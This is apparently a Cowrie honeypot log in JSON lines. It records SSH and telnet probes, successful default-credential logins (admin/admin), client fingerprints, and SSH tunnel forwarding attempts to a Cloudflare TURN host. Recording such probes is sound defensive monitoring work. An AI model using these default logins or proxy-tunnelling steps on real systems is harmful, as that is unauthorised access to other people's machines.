{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":35204,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d390621a48","protocol":"ssh","message":"New connection: 45.148.10.121:35204 (10.17.0.5:22) [session: c8d390621a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:50.439823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:50.444404Z","src_ip":"45.148.10.121","session":"c8d390621a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:50.529655Z","src_ip":"45.148.10.121","session":"c8d390621a48","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:50.786594Z","src_ip":"45.148.10.121","session":"c8d390621a48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:50.874708Z","session":"c8d390621a48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:50.963039Z","src_ip":"45.148.10.121","session":"c8d390621a48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:50.969509Z","src_ip":"45.148.10.121","session":"c8d390621a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:51.058253Z","src_ip":"45.148.10.121","session":"c8d390621a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":35216,"dst_ip":"10.17.0.5","dst_port":22,"session":"8020d4c235f3","protocol":"ssh","message":"New connection: 45.148.10.121:35216 (10.17.0.5:22) [session: 8020d4c235f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:51.140317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:51.145651Z","src_ip":"45.148.10.121","session":"8020d4c235f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:51.231369Z","src_ip":"45.148.10.121","session":"8020d4c235f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:51.488674Z","src_ip":"45.148.10.121","session":"8020d4c235f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:51.577107Z","session":"8020d4c235f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:51.664963Z","src_ip":"45.148.10.121","session":"8020d4c235f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:51.668496Z","src_ip":"45.148.10.121","session":"8020d4c235f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:52:51.757113Z","src_ip":"45.148.10.121","session":"8020d4c235f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.24963188171387,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:53:00.461654Z","src_ip":"174.138.46.234","session":"fa14e53bcbd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34342,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0d4275a43f1","protocol":"telnet","message":"New connection: 174.138.46.234:34342 (159.203.135.109:23) [session: f0d4275a43f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:53:31.760969Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34836,"dst_ip":"159.203.135.109","dst_port":23,"session":"4635f643bac3","protocol":"telnet","message":"New connection: 174.138.46.234:34836 (159.203.135.109:23) [session: 4635f643bac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:53:33.545985Z"}
{"eventid":"cowrie.session.closed","duration":46.64249324798584,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:54:18.403338Z","src_ip":"174.138.46.234","session":"f0d4275a43f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.55650067329407,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:54:21.102377Z","src_ip":"174.138.46.234","session":"4635f643bac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54580,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5a0d5a6d331","protocol":"telnet","message":"New connection: 174.138.46.234:54580 (159.203.135.109:23) [session: d5a0d5a6d331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:54:45.331863Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54718,"dst_ip":"159.203.135.109","dst_port":23,"session":"335c34a243e2","protocol":"telnet","message":"New connection: 174.138.46.234:54718 (159.203.135.109:23) [session: 335c34a243e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:54:45.768295Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54814,"dst_ip":"159.203.135.109","dst_port":23,"session":"35fc9fadef4e","protocol":"telnet","message":"New connection: 174.138.46.234:54814 (159.203.135.109:23) [session: 35fc9fadef4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:54:46.151905Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54638,"dst_ip":"159.203.135.109","dst_port":23,"session":"45611a7a7c6d","protocol":"telnet","message":"New connection: 174.138.46.234:54638 (159.203.135.109:23) [session: 45611a7a7c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:54:46.506112Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55094,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8a480e40252","protocol":"telnet","message":"New connection: 174.138.46.234:55094 (159.203.135.109:23) [session: d8a480e40252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:54:47.047640Z"}
{"eventid":"cowrie.session.closed","duration":3.0628087520599365,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:54:49.568785Z","src_ip":"174.138.46.234","session":"45611a7a7c6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.991064786911011,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:54:51.322859Z","src_ip":"174.138.46.234","session":"d5a0d5a6d331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.018980979919434,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:54:51.787136Z","src_ip":"174.138.46.234","session":"335c34a243e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.98.238.139","src_port":55134,"dst_ip":"159.203.135.109","dst_port":22,"session":"c382a64a4030","protocol":"ssh","message":"New connection: 91.98.238.139:55134 (159.203.135.109:22) [session: c382a64a4030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:20.335108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:20.340827Z","src_ip":"91.98.238.139","session":"c382a64a4030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:20.436864Z","src_ip":"91.98.238.139","session":"c382a64a4030","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:20.627127Z","src_ip":"91.98.238.139","session":"c382a64a4030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:20.724004Z","src_ip":"91.98.238.139","session":"c382a64a4030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":47902,"dst_ip":"159.203.135.109","dst_port":22,"session":"eec4c1f0a737","protocol":"ssh","message":"New connection: 130.12.180.51:47902 (159.203.135.109:22) [session: eec4c1f0a737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:20.815663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:20.826513Z","src_ip":"130.12.180.51","session":"eec4c1f0a737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:20.911492Z","src_ip":"130.12.180.51","session":"eec4c1f0a737","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:21.163765Z","src_ip":"130.12.180.51","session":"eec4c1f0a737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:21.806912Z","src_ip":"130.12.180.51","session":"eec4c1f0a737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.881598711013794,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:30.033377Z","src_ip":"174.138.46.234","session":"35fc9fadef4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.2253532409668,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:33.272905Z","src_ip":"174.138.46.234","session":"d8a480e40252","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.167.207.8","src_port":36776,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6384e8c6d29","protocol":"telnet","message":"New connection: 213.167.207.8:36776 (159.203.135.109:23) [session: d6384e8c6d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:35.208399Z"}
{"eventid":"cowrie.session.closed","duration":12.890245199203491,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:55:48.098515Z","src_ip":"213.167.207.8","session":"d6384e8c6d29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48340,"dst_ip":"159.203.135.109","dst_port":23,"session":"055a0de7c4ef","protocol":"telnet","message":"New connection: 174.138.46.234:48340 (159.203.135.109:23) [session: 055a0de7c4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:01.457156Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48758,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a59c5008af9","protocol":"telnet","message":"New connection: 174.138.46.234:48758 (159.203.135.109:23) [session: 5a59c5008af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:01.791737Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48782,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a3098dcb38c","protocol":"telnet","message":"New connection: 174.138.46.234:48782 (159.203.135.109:23) [session: 0a3098dcb38c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:01.924002Z"}
{"eventid":"cowrie.session.closed","duration":5.275083780288696,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:06.732115Z","src_ip":"174.138.46.234","session":"055a0de7c4ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50330,"dst_ip":"159.203.135.109","dst_port":23,"session":"68496503d5cc","protocol":"telnet","message":"New connection: 174.138.46.234:50330 (159.203.135.109:23) [session: 68496503d5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:06.996974Z"}
{"eventid":"cowrie.session.closed","duration":5.935833930969238,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:07.859695Z","src_ip":"174.138.46.234","session":"0a3098dcb38c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50596,"dst_ip":"159.203.135.109","dst_port":23,"session":"9136c8fd1a60","protocol":"telnet","message":"New connection: 174.138.46.234:50596 (159.203.135.109:23) [session: 9136c8fd1a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:08.846521Z"}
{"eventid":"cowrie.session.closed","duration":4.968302488327026,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:13.814688Z","src_ip":"174.138.46.234","session":"9136c8fd1a60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55062,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b4e8dc6c361","protocol":"telnet","message":"New connection: 174.138.46.234:55062 (159.203.135.109:23) [session: 0b4e8dc6c361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:22.641512Z"}
{"eventid":"cowrie.session.closed","duration":5.850116968154907,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:28.491533Z","src_ip":"174.138.46.234","session":"0b4e8dc6c361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.82968831062317,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:56:53.621297Z","src_ip":"174.138.46.234","session":"5a59c5008af9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.712737798690796,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:57:02.709597Z","src_ip":"174.138.46.234","session":"68496503d5cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41220,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e0491293f8","protocol":"telnet","message":"New connection: 174.138.46.234:41220 (159.203.135.109:23) [session: f8e0491293f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:57:09.396297Z"}
{"eventid":"cowrie.session.closed","duration":5.962501525878906,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:57:15.358659Z","src_ip":"174.138.46.234","session":"f8e0491293f8","protocol":"telnet"}
